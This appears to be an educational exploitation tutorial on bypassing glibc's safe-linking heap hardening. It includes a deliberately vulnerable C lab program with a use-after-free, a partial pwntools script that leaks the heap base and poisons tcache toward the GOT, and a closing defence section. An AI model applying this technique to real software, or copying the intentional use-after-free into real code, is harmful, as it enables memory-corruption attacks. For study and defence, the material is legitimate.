Safe-Linking and Pointer Mangling: Mechanics and Bypass

Safe-Linking and Pointer Mangling: Mechanics and Bypass - article cover image RE & Pwn
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Safe-linking is the single-linked-list hardening glibc introduced in version 2.32 (2020) to blunt tcache and fastbin poisoning. Instead of storing a raw next/fd pointer inside a freed chunk, glibc stores it XORed with a secret derived from the chunk’s own address. An attacker who overwrites the field with a naive target address now writes a value that, when de-obfuscated, is garbage — so a blind poison fails. This article explains exactly what the PROTECT_PTR and REVEAL_PTR macros compute, why the ‘secret’ is weaker than it first appears, how a single leaked value recovers it, and the companion alignment check that closes an old trick.

The important framing is that safe-linking is obfuscation, not encryption. The secret is chunk_address >> 12 — the page number of the chunk holding the pointer — which is fully determined by the heap layout. The consequence is a simple raised bar rather than a wall: you need one heap address leak to compute valid mangled pointers, and there is a self-leak baked into the very first free into an empty bin. We cover the derivation, the recovery, the mangling you must do to poison, and the alignment guard that ships alongside it. All of this is glibc >= 2.32.

Attack Prerequisites

Bypassing safe-linking is about recovering the per-chunk secret and then mangling correctly; the underlying poison still needs its usual bug:

  • A heap address leak — either a direct leak of any heap pointer, or the self-leak from reading back the next of the first chunk freed into an empty bin (which equals chunk_addr >> 12).
  • A write into a freed chunk’s next/fd (UAF or overflow) to place the mangled target.
  • Knowledge of the storing chunk’s address — the mangle uses the address of the field being written (the chunk’s user address), so you must know it, not just the heap base.
  • A 16-byte-aligned target — the 2.32 alignment check aborts if the de-mangled pointer is not 16-byte aligned when it is popped.

How It Works

Safe-linking is two macros. PROTECT_PTR(pos, ptr) computes ((pos) >> 12) ^ (ptr) and is applied when *storing* a next/fd; REVEAL_PTR(ptr) applies the inverse when *reading* it back. Here pos is the address of the pointer field itself — i.e. the address of the freed chunk’s user region, since next occupies the first 8 bytes. Because XOR is symmetric, REVEAL_PTR is really the same operation: x ^ (pos >> 12). The ‘key’ pos >> 12 is the chunk’s page number: on a typical heap this is constant across chunks on the same page and changes only in the high bits between pages, so it is close to a single per-heap secret.

This defeats a *blind* poison because writing a raw target into the field means the allocator later reveals target ^ (pos >> 12), which is not target. To poison correctly you must store PROTECT_PTR(pos, target) yourself, and for that you need pos (the storing chunk’s address) and hence a heap leak. The recovery is elegant: when the first chunk is freed into an empty tcache/fastbin, its next is set to PROTECT_PTR(pos, NULL) = (pos >> 12) ^ 0 = pos >> 12. If a UAF read lets you read that field, you have pos >> 12 directly, which reconstructs the heap page base — one read and the secret is yours. From there, every mangled pointer is computable.

Alongside the mangling, glibc 2.32 added an alignment check: when a chunk is popped from a tcache bin, _int_malloc verifies the de-mangled pointer is 16-byte aligned and aborts with malloc(): unaligned tcache chunk detected otherwise. This matters because a favourite pre-2.32 trick aimed the poison at __malloc_hook - 0x23 to synthesise a fake 0x7f size, producing a deliberately misaligned pointer. Under 2.32 that misaligned target aborts, so modern poisons must land on genuinely 16-byte-aligned addresses — a real constraint on target selection, not just an extra XOR. The fastbin fd is safe-linked by the same macros, so both fast paths share the mechanism and the requirement for a heap leak.

Vulnerable Code / Setup

A note manager with a UAF read and write is the ideal lab: view after free reads the safe-linked next (giving the self-leak), and edit after free writes the mangled target. No special sizing is needed since the technique lives in the tcache/fastbin fast path:

// gcc -O0 -fno-stack-protector -no-pie safelink.c -o safelink
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *ptrs[16]; size_t szs[16];

void add(int i, size_t n){ ptrs[i]=malloc(n); szs[i]=n; }
void del(int i){ free(ptrs[i]); }               // BUG: no null -> UAF
void edit(int i, char *s, size_t n){ memcpy(ptrs[i], s, n); }  // writes next
void view(int i){ fwrite(ptrs[i], 1, szs[i], stdout); }        // reads next
C

The build must be a glibc that actually has safe-linking, or none of this applies — confirm the version, since 2.31 stores raw pointers and 2.32+ stores mangled ones:

$ checksec --file=./safelink
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ ldd --version | head -1
ldd (Ubuntu GLIBC 2.35-0ubuntu3) 2.35   # safe-linking + alignment check active
Bash

Walkthrough / Exploitation

Step one is the self-leak. Free one chunk into an empty tcache bin and read its next; because the bin was empty, the stored value is pos >> 12, which reconstructs the heap page:

from pwn import *
io = process('./safelink')
def add(i,n):     ...
def free(i):      ...
def edit(i,data): ...
def view(i):      ...

add(0, 0x18); free(0)              # tcache[0x20] was empty -> next = pos>>12
leak = u64(view(0)[:8].ljust(8, b'\x00'))
heap = leak << 12                   # heap page base recovered from one read
log.info('heap base: %#x  (secret pos>>12 = %#x)', heap, leak)
Python

Confirm the mechanics under pwndbg: the freed chunk’s first word is the mangled next, and pwndbg helpfully de-mangles it in bins/vis_heap_chunks when it detects safe-linking:

pwndbg> bins
tcachebins
0x20 [  1]: 0x5555...2a0 (mangled: 0x5555...  demangled shown by pwndbg)
pwndbg> vis_heap_chunks   # first 8 bytes = PROTECT_PTR(chunk_addr, next)
Bash

Now poison correctly. Compute PROTECT_PTR(pos, target) using the storing chunk’s user address as pos, and pick a 16-byte-aligned target so the alignment check passes. Then allocate twice to pop the target:

def protect(pos, ptr):  return (pos >> 12) ^ ptr   # PROTECT_PTR
def reveal(pos, val):   return (pos >> 12) ^ val   # REVEAL_PTR (== protect)

chunk1 = heap + 0x2c0                 # user addr of the chunk we will poison
target = elf.got['free']              # 16-byte aligned -> passes 2.32 check

add(1, 0x18); free(1)                # chunk 1 -> tcache[0x20]
edit(1, p64(protect(chunk1, target)))# store MANGLED target in next
add(2, 0x18)                          # pop chunk 1 (real)
arb = add(3, 0x18)                    # pop 'target' — de-mangled & aligned: OK
Python

Two failure modes teach the mechanics. If you forget to mangle, the second malloc returns target ^ (pos>>12) — a wild pointer that usually segfaults or aborts. If you mangle correctly but pick a misaligned target (the old hook - 0x23 habit), you get malloc(): unaligned tcache chunk detected. Get both right — correct pos, aligned target — and safe-linking reduces to a fixed arithmetic step on top of ordinary poisoning. The identical treatment of the fastbin fd means the same protect/reveal helpers cover fastbin dup on modern glibc too.

Note: The ‘secret’ is per-page, not per-process-random: pos >> 12 is fully determined by where the chunk sits, so once you know any chunk’s address you can mangle for any chunk on the same page, and adjacent pages differ only in the high bits. This is why safe-linking is best described as obfuscation — it forces a heap leak and enforces alignment, but it adds no unpredictable entropy that a single disclosure does not immediately undo.

Opsec: Use pos = the address of the *chunk you are writing into*, not the bin head or the target. A common mistake is mangling with the target’s own address or a stale chunk address after the layout shifted; the de-mangle then yields garbage and aborts. Read the exact chunk address from vis_heap_chunks at the moment of the poison, and remember pwndbg already de-mangles displayed next values so you are comparing apples to apples.

Detection and Defense

Safe-linking is itself a defence; keeping it effective is about denying the heap leak it depends on and layering the usual controls:

  • Null freed pointers so a UAF read cannot disclose the self-leak pos>>12 that unravels the whole scheme.
  • Run glibc >= 2.32 so safe-linking and the alignment check are present at all — they are the reason a blind poison fails.
  • Full RELRO removes the aligned GOT target that safe-linked poisons like to aim at, forcing harder destinations.
  • PIE + ASLR keep heap addresses unpredictable so the attacker must leak before they can compute any mangled pointer.
  • Sanitizers — ASan catches the UAF/overflow that both the leak and the poison require, deterministically in CI; watch for unaligned tcache chunk detected in logs as an exploitation signature.

Real-World Impact

Safe-linking was glibc’s direct answer to how routine tcache/fastbin poisoning had become after 2.26 — a technique borrowed from other hardened allocators and shipped in 2.32. Its real-world effect is precisely the one the design intended: it converted ‘poison blindly’ into ‘leak, then poison’, raising the bar for one-shot heap bugs without a co-located information leak, and retiring the misaligned __malloc_hook - 0x23 fake-size trick via the alignment check. It did not end tcache poisoning — the deep-dive techniques still work with a leak — but it is a textbook example of cheap, targeted obfuscation meaningfully changing the exploit economics for a whole bug class.

Conclusion

Safe-linking stores next/fd as (chunk_addr >> 12) ^ ptr, so poisoning now requires computing PROTECT_PTR with the storing chunk’s address and aiming at a 16-byte-aligned target to survive the companion alignment check. The scheme is obfuscation, not encryption: the secret is the chunk’s page number, and the very first free into an empty bin leaks it as pos >> 12, so one heap read reconstructs everything. Learn the two macros, harvest the self-leak, mangle with the correct pos, and safe-linking becomes a fixed extra step rather than an obstacle — which is exactly why denying the heap leak is the defence that actually matters.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL